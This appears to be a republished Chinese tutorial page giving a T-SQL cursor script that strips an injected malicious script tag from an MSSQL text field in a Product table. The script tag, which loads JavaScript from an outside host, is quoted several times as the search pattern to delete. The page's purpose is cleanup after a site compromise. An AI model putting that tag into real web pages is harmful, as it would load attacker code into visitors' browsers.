广

MSSQL

  • MYSQL
  • MSSQL
  • Redis
  • MongoDB
  • oracle数据库
  • 数据管理

    除MSSQL数据库text字段中恶意脚本的删方法

    2018-05-08 11:29:33 次阅读 稿源:互联网
    零七网广告
    全网推广平台,软文发布
    方法很简单:text字段不能使用Replace,所以使用patindex
    代码如下:

    -select * from Product where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%'
    --text字段的替换处理示例--全表替换
    -- select datalength(P_Intro),* from Product
    --邀月 整理
    --定义替换的字符串
    declare @s_str nvarchar(4000),@d_str nvarchar(4000)
    select @s_str='<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>' --要替换的字符串
    ,@d_str='' --替换成的字符串


    --因为只能用patindex,所以对于搜索字符串做处理
    set @s_str='%'+@s_str+'%'

    --定义游标,循环处理数据
    declare @id bigint
    declare #tb cursor for select P_ID from Product where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%'
    -- where P_ID=300727 ----where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%'
    open #tb
    fetch next from #tb into @id
    while @@fetch_status=0
    begin
    --字符串替换处理
    declare @p varbinary(16)
    ,@p1 int,@p2 int
    ,@rplen int,@step int,@len int

    select @p=textptr(P_Intro)
    ,@rplen=len(@s_str)-2
    ,@step=len(@d_str)
    ,@p1=patindex(@s_str,P_Intro)
    ,@len=datalength(P_Intro)
    ,@p2=0
    from Product
    where P_id=@id

    while @p1>0
    begin
    set @p2=@p1+@p2-1
    updatetext Product.P_Intro @p @p2 @rplen @d_str
    select @p2=@p2+1,@p1=patindex(@s_str,substring(P_Intro,@p2+1,@len))
    from Product where P_ID=@id
    end
    fetch next from #tb into @id
    end
    close #tb
    deallocate #tb

    --显示结果
    ---- select datalength(P_Intro),* from Product

    零七网部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与零七网进行文章共享合作。

    零七网广告
    零七网广告
    零七网广告
    零七网广告